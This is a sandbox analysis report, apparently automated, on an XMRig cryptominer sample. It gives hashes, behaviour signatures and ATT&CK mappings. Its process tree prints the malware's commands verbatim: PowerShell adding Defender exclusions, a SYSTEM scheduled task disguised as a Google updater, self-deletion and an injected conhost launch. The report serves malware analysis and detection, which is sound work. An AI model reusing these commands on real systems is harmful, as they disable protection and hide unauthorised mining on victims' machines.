xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
1767s
max time network
1788s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 11:19

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1516 created 1252	1516	qM5GMXBk6hJE6Y5e (19).exe	21
PID 1516 created 1252	1516	qM5GMXBk6hJE6Y5e (19).exe	21
PID 1516 created 1252	1516	qM5GMXBk6hJE6Y5e (19).exe	21
PID 1516 created 1252	1516	qM5GMXBk6hJE6Y5e (19).exe	21
PID 2932 created 1252	2932	updater.exe	21
PID 2932 created 1252	2932	updater.exe	21
PID 2932 created 1252	2932	updater.exe	21
PID 2932 created 1252	2932	updater.exe	21
PID 1716 created 1252	1716	conhost.exe	21
PID 2932 created 1252	2932	updater.exe	21

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral9/memory/1916-71-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-75-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-104-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-106-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-108-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-110-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-112-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-114-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-116-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-118-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-132-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral9/memory/1916-134-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2576	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
2932	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
1860	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral9/memory/1916-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-71-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-75-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-104-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-106-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-108-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-110-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-112-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-114-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-116-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-118-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-132-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral9/memory/1916-134-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2932 set thread context of 1716	2932	updater.exe	48
PID 2932 set thread context of 1916	2932	updater.exe	55

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (19).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2752	schtasks.exe
1072	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1332	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 3033e9a81451da01	powershell.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1516	qM5GMXBk6hJE6Y5e (19).exe
1516	qM5GMXBk6hJE6Y5e (19).exe
2060	powershell.exe
1516	qM5GMXBk6hJE6Y5e (19).exe
1516	qM5GMXBk6hJE6Y5e (19).exe
2788	powershell.exe
1516	qM5GMXBk6hJE6Y5e (19).exe
1516	qM5GMXBk6hJE6Y5e (19).exe
1516	qM5GMXBk6hJE6Y5e (19).exe
1516	qM5GMXBk6hJE6Y5e (19).exe
2580	powershell.exe
2932	updater.exe
2932	updater.exe
392	powershell.exe
2932	updater.exe
2932	updater.exe
1492	powershell.exe
2932	updater.exe
2932	updater.exe
2932	updater.exe
2932	updater.exe
1716	conhost.exe
1716	conhost.exe
2932	updater.exe
2932	updater.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
468	Process not Found

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2060	powershell.exe
Token: SeDebugPrivilege	2788	powershell.exe
Token: SeDebugPrivilege	2580	powershell.exe
Token: SeDebugPrivilege	392	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	2932	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1332	WMIC.exe
Token: SeSecurityPrivilege	1332	WMIC.exe
Token: SeTakeOwnershipPrivilege	1332	WMIC.exe
Token: SeLoadDriverPrivilege	1332	WMIC.exe
Token: SeSystemtimePrivilege	1332	WMIC.exe
Token: SeBackupPrivilege	1332	WMIC.exe
Token: SeRestorePrivilege	1332	WMIC.exe
Token: SeShutdownPrivilege	1332	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1332	WMIC.exe
Token: SeUndockPrivilege	1332	WMIC.exe
Token: SeManageVolumePrivilege	1332	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1332	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1332	WMIC.exe
Token: SeSecurityPrivilege	1332	WMIC.exe
Token: SeTakeOwnershipPrivilege	1332	WMIC.exe
Token: SeLoadDriverPrivilege	1332	WMIC.exe
Token: SeSystemtimePrivilege	1332	WMIC.exe
Token: SeBackupPrivilege	1332	WMIC.exe
Token: SeRestorePrivilege	1332	WMIC.exe
Token: SeShutdownPrivilege	1332	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1332	WMIC.exe
Token: SeUndockPrivilege	1332	WMIC.exe
Token: SeManageVolumePrivilege	1332	WMIC.exe
Token: SeLockMemoryPrivilege	1916	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2788 wrote to memory of 2752	2788	powershell.exe	32
PID 2788 wrote to memory of 2752	2788	powershell.exe	32
PID 2788 wrote to memory of 2752	2788	powershell.exe	32
PID 2576 wrote to memory of 1612	2576	cmd.exe	37
PID 2576 wrote to memory of 1612	2576	cmd.exe	37
PID 2576 wrote to memory of 1612	2576	cmd.exe	37
PID 2580 wrote to memory of 1640	2580	powershell.exe	38
PID 2580 wrote to memory of 1640	2580	powershell.exe	38
PID 2580 wrote to memory of 1640	2580	powershell.exe	38
PID 1860 wrote to memory of 2932	1860	taskeng.exe	40
PID 1860 wrote to memory of 2932	1860	taskeng.exe	40
PID 1860 wrote to memory of 2932	1860	taskeng.exe	40
PID 1492 wrote to memory of 1072	1492	powershell.exe	47
PID 1492 wrote to memory of 1072	1492	powershell.exe	47
PID 1492 wrote to memory of 1072	1492	powershell.exe	47
PID 2932 wrote to memory of 1716	2932	updater.exe	48
PID 2152 wrote to memory of 1332	2152	cmd.exe	53
PID 2152 wrote to memory of 1332	2152	cmd.exe	53
PID 2152 wrote to memory of 1332	2152	cmd.exe	53
PID 2932 wrote to memory of 1916	2932	updater.exe	55

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1252
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2752
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (19).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\System32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:1612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2580
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1492
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1072
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1716
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2400
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2152
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic PATH Win32_VideoController GET Name, VideoProcessor
    3⤵
    - Detects videocard installed
    - Modifies data under HKEY_USERS
    - Suspicious use of AdjustPrivilegeToken
    PID:1332
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1916

C:\Windows\system32\taskeng.exe
taskeng.exe {0A7E3776-C94A-4C69-BD11-9EB22B8C95A2} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1860
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2932

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
840KB

MD5
004c7221d13f2c32ef8567d27b102535

SHA1
3c3656d3a2648053bed00eee1fde2f40265c3727

SHA256
a81099384d0c7a0ae961f818840b588593e2f23716b6356201537980ccfb4760

SHA512
399c48f752cb0d013b80f357016484686ef5aca0c88967ef50935e2ea7e7fea3956c0429ed02814eb6180325f0ac6f500a3b03e055a142d52b8f66829feda0d3

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
157KB

MD5
e8f15dcd6046b762aa9cf3cbbd6b592e

SHA1
cac58ecabf296da61b69ef3508f524fa7089cbd7

SHA256
db3904516f647c92a1e78b1d918456c7426dcb1e04e300c51bd367f961a46521

SHA512
999ea4ca8646377c57aa05bad41202f9a25d4926f1cf3199449c3eda0e3bcf8068fa6ce24790e8170008679d14a46d6cbef7127127ddcf9956d88935aa22f298

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
4b07e02567b56f245310d62783c05e88

SHA1
c490d5ac152f1bea26505e59af3482ab4c914e81

SHA256
64c5feb4c4961ca3e5bb2a138823a7b8857eba1922b8fa68ca00d2e86e1d2472

SHA512
d4d27f40e8ab273c233747c121b8edd3ad15a87f2150837d4639f2b1fdc7806a14df7d1d00a4efb81781b4f470eb2fc722d472e81b72d4605671fea7d198ca65

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
481KB

MD5
c454d0cff4a2d18fd0e22c4460b8c49d

SHA1
ef5f1af68c9f0571aef9b4f79af2009f0a259d29

SHA256
6bfb87bf254e51aebeb9e05b3cf31530b69bc8ff020a60732b3316637c5bab94

SHA512
9c05071ce23d01e0771fe57aca43a2fe601aa8fdd783ef7a8452ed664e91733ad904e2957804affa6800443999d6c343a01bf5fbe58027895c6743d6d48ddcff

Download Submit
memory/392-52-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

Filesize
9.6MB

Download
memory/392-46-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

Filesize
9.6MB

Download
memory/392-47-0x00000000010A0000-0x0000000001120000-memory.dmp

Filesize
512KB

Download
memory/392-48-0x000007FEF5210000-0x000007FEF5BAD000-memory.dmp

Filesize
9.6MB

Download
memory/392-49-0x00000000010A0000-0x0000000001120000-memory.dmp

Filesize
512KB

Download
memory/392-50-0x00000000010A0000-0x0000000001120000-memory.dmp

Filesize
512KB

Download
memory/392-51-0x00000000010A0000-0x0000000001120000-memory.dmp

Filesize
512KB

Download
memory/1492-56-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/1492-53-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/1492-54-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/1492-55-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/1492-57-0x0000000001210000-0x0000000001290000-memory.dmp

Filesize
512KB

Download
memory/1492-58-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/1516-29-0x000000013F3A0000-0x000000013F5B1000-memory.dmp

Filesize
2.1MB

Download
memory/1516-0-0x000000013F3A0000-0x000000013F5B1000-memory.dmp

Filesize
2.1MB

Download
memory/1716-70-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1716-74-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1916-89-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-106-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-134-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-132-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-118-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-116-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-114-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-112-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-110-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-108-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-104-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-97-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-95-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-93-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-91-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-87-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-85-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-66-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1916-83-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-68-0x00000000001C0000-0x00000000001E0000-memory.dmp

Filesize
128KB

Download
memory/1916-69-0x00000000002F0000-0x0000000000310000-memory.dmp

Filesize
128KB

Download
memory/1916-81-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-71-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-73-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-79-0x00000000002F0000-0x0000000000310000-memory.dmp

Filesize
128KB

Download
memory/1916-75-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1916-76-0x00000000001C0000-0x00000000001E0000-memory.dmp

Filesize
128KB

Download
memory/1916-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/2060-10-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2060-12-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2060-5-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2060-7-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2060-11-0x0000000002710000-0x0000000002790000-memory.dmp

Filesize
512KB

Download
memory/2060-6-0x000007FEF5BB0000-0x000007FEF654D000-memory.dmp

Filesize
9.6MB

Download
memory/2060-8-0x0000000001F90000-0x0000000001F98000-memory.dmp

